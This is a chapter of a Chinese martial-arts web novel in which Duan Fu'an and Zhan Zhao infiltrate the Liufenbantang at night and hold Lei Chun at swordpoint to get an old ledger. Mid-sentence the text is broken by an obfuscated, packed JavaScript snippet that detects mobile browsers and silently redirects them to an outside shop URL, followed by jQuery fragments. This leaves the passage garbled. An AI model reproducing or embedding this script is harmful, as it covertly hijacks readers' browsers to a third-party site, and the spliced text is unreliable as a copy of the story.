众人闻言俱是一愣。
还是公孙策先坐下来同女主耐心解释:“郡主,这靳小怜这背后一案,从目前调查的结果来看,恐是牵连甚广。”
段扶安闻言,却摆手道:“我后日就要离开开封了,没空与你们查这些陈年旧事。”
“可是这案子也实非一两日就可查清楚的,而且若真想证实当初靳小怜和吴大勇结亲有异。如今这唯一的知情人吴大勇也已身死,或许这旧案才是关键所在。”公孙策还在试图说通段扶安。
见段扶安不语,展昭在一旁道:“郡主,你若信得过开封府,信得过……我。我同你保证,定查清楚此案,还靳小怜一个清清白白走出牢狱的机会。”
闻言,段扶安静静地看着展昭,只见对方眉宇之间,神色认真,不似作伪。
段扶安沉吟了一会儿,她虽有心帮一帮这靳小怜。但是身上还有更重要的事情,她本意若能查清自然最好,查不清,她也不介意多带一个在身旁。
可见展昭如此,又想起那日靳小怜既然能主动离开自己的庇护,甚至一开始就愿意偿命,多半也是不愿不明不白走的。
好在,这几日她看下来,开封府的人虽然行事多少有些迂腐,但不至于是恶人。
想毕,段扶安当即道:“既如此,我再帮你们查一日案吧。”
见段扶安松口,众人这才暗暗松口气。
这郡主是真的能做出劫狱、罔顾大宋礼法的事情,纵然大人铁面无私,也不得不考虑一下郡主身后的大理。
两国邦交,可不能意气用事。
这会儿时候都不早了,众人在开封吃过饭后,展昭依旧送段扶安回客栈。
名为相送,但段扶安却觉得这人是得了什么命令,看着点自己。
“展大人事务繁忙,还来送我?”
但旁人的猜测确实没什么错,她确实动了点别的心思。
不过不是天牢。
“还是展大人看这开封夜景繁华,怕我迷了路?”
面对段扶安的揶揄,展昭却一言不发。
待到客栈口,便与段扶安道别了。
看着渐渐隐没人群之中的展昭,段扶安笑笑,转身回了房。
是夜三更。
一阵风吹开了段扶安房间的半扇窗户,冷风呼呼吹着,借着月光吹拂起床侧的纱帘。
而床上,却空无一人。
而本该睡觉的段扶安,此刻已经乘着月色潜入了守卫重重的六分半堂。
那一万两的银子可不是小数,发生了那样事情,六分半堂理应有记录才是。
避开守卫,段扶安将自己隐入黑暗的角落之中。
不过六分半堂这地真大,一时半会也找不到书房。
“大小姐不必难过,堂主这几日只是有些烦心罢了。”
“狄大哥,我知道,若没什么事情,我先回去了。”
远处门口,出来一对男女。
那女的段扶安认识,一身素白锦缎,是那日见到的大小姐雷纯。
至于另一个男子,身形颀长,也是一袭白袍。却始终半低着头,叫人看不清相貌。
不过刚刚听着这两人的谈论,这身后的屋子就是那堂主的房间了。女儿和下属都在,估计就是书房了。
段扶安正专心听着二人的对话,却兀地转身,抬手就朝前劈去。
乍然出现在身后的黑衣人顿时抬手格挡,趁段扶安下一个动作发生之前,对方连忙撤下自己的面巾。
展昭?
段扶安眉心一跳。
手上顿时卸力,正欲说什么。
“谁在那?”
哪怕两人从始至终未说一语,但刚刚这一下动作也成功惊动了远处的男子。
眼见对方就要冲至面前,段扶安和展昭对视一眼,当即就朝回廊的另一侧遁走了。
等男子到时,只看到一黑一黄的两个衣角。
“来人,堂内闯入了刺客,要活的!”
男子一声令下,堂内四处值守的人顿时开始巡查起来,一寸一厘也不放过。
这会儿雷纯也走了上来:“狄大哥,发生什么事了?”
被叫作狄大哥的男子看了一眼雷纯,并未遮掩:“刚刚这藏了两个人,我赶来时,人已经跑了。”
“藏在这还能在狄大哥眼皮子底下逃走,这两人怕是不寻常,莫不是……”雷纯话说到一半,带着探究的目光看向男子。
男子垂首:“不会叫他们离开六分半堂的。大小姐,你先回房休息吧,我会处理好的。”
雷纯点点头,不再多言。
而另一侧的段扶安和展昭,才逃离男子的视线没多久,就看见六分半堂里密密麻麻的全是人,都在找他们两个。
无奈之间,两人闯入一间无人的房间。
却见里面屋内陈设,香纱青幔,梳妆镜前还有不少钗环首饰,多半是女子闺房。
“不好,这里多半是那个雷纯的房间。”
段扶安暗叫不妙,刚刚若不是展昭突然出现,自己断不会叫人发现。
眼下屋外全是找她们的人,若是真想出去,凭她和展昭的武功自然不难。只是下次想进来怕就没那么容易了。
“离开开封府前,我就瞧你神色不对,就猜到你要来这。”展昭也直言了自己此行的原因。
段扶安闻言嗤笑一声,倚在门前:“展大人神机妙算,可曾算到此时此刻?”
展昭不语,脸上升起一抹愧色:“我本意是想提醒你,刚刚那男子是狄飞惊,号称低首神龙,不好对付。不承想弄巧成拙。”
“展大人平日里查案也这样吗?”见展昭如此,段扶安的心情反而好了几分,甚至还有心情揶揄起对方。
“大小姐!”
展昭正欲说什么,门后的几人顿时对着缓缓走来的雷纯异口同声地喊道。
两人只互看了一眼,就各自闪身到了门后。
展昭还顺势重新戴上了面巾,段扶安大摇大摆什么都不怕,他却不想给开封府惹麻烦。
雷纯走至门口,与众人说了几句勉励的话,才推门走进屋内。
谁料门才关上一半,就看到门后笑脸莹莹的段扶安。
雷纯心中一惊,嘴唇微张,一把剑就已经架在了颈侧。
“大小姐,劳驾,关一下门。”
“你们……”雷纯刚开口,那锋利的剑刃就已经在自己脖子上渗出丝丝血迹。
一阵刺痛传来,雷纯只得先关上了门。
“不好意思,刚刚太紧张了,手抖了一下。”段扶安说得诚恳,可语气和表情却没有丝毫的歉意。
这边段扶安已经让雷纯坐在椅子上了,展昭还在那看着屋外巡查的人。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413490|200616||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认得你。”雷纯抬头,直直地看向段扶安,眼神里没有丝毫惧意,“段……扶安?”
闻言,段扶安脸上的笑意又深了几分:“大小姐还记得我的名字,我的荣幸。”
“你们来这是要做什么?”雷纯又问,眼神已经给向了门口的展昭。
结果段扶安脚步轻轻一挪,将雷纯的目光遮得严严实实:“大小姐不必看他,他是我仆人,负责给我善后的。”
瞧展昭这身打扮,以及刚刚遮面的举动,段扶安也猜到了对方不想暴露。
不过,也能理解。
话音一落,展昭却看了段扶安的背影一眼,神色不明。
而雷纯显然也不是很信段扶安的话:“你的仆人?你俩……可不太一样。”
一个将自己全须全尾的隐藏起来,一个就这样大摇大摆,生怕别人注意不到她。
行事风格如此不同,怎么看,也不像一起的。
“大小姐,你总得允许每个人都有点自己的爱好不是?”
段扶安既不恼,也不心虚,甚至还有玩笑的心情。
可雷纯却没什么心情,见对方就这样和自己僵持着,其中一人还一个劲地往外查看情况,便道:“找不到人,他们会一直找到天亮的。”
“既如此,只能辛苦大小姐收留我们一晚了。初来乍到,不想鲜血污了大小姐的裙子。”段扶安状似无奈。
雷纯当日见识过此人的武功,依对方的能力,对上外面的那些人轻而易举。哪怕是对上狄飞惊他们,也不见得会失败。
但对方不愿离开,甚至躲在这里,显然是在图谋其他。
“你们要找什么东西?”
雷纯的话一出,段扶安顿时浮现出些许惊艳之色。
这人,还怪聪明的。
段扶安想了想,道:“实不相瞒,大小姐可觉得这六分半堂出了家贼?”
“你什么意思?”这话本是段扶安故弄玄虚,却也惊得雷纯的心顿时收紧。
见雷纯如此紧张,段扶安脸上也暗暗起了点震惊之色,还真让自己猜对了。
“也不是什么大事,我认识一个好友,十年前因为欠了贵堂一万两银子,被迫嫁了人。按道理,以她家当时的情况是无论如何也还不上这笔银子的。可是当时,居然有个比她家还穷苦的人却替她还上了银子。我想知道,这笔钱到底是如何还上的?”
雷纯闻言,摇摇头道:“十年前的事情,我并不知道。”
“我自然知道大小姐不知道,十年前大小姐才多大?我就是想请小姐帮个忙,帮我们找找这十年前关于这件事的账本。”如今想要悄无声息地去找这个东西,怕是还得借这个大小姐的力。
账本本就是机密之物,这人的话也不知真假,且无论是十年前还是如今,六分半堂的账本又岂能叫外人知道。可如今剑就架在脖子上,也不能直接拒绝:“我如何帮你们?”
“好办,你叫你两个丫鬟来,我和我的仆人换上她们的衣服跟在你身后就好了。”段扶安虽然不喜欢穿别人的衣服,但是当下也没有更好的办法了。
不过这人如此聪明,为防止她使诈,段扶安从怀中掏出一个瓷瓶,倒出其中一粒,塞到了雷纯的嘴里。
“你给我吃了什么?”
雷纯想要反抗,却根本动不了。在对方的几次点穴之下,那药丸已经滑入了喉管。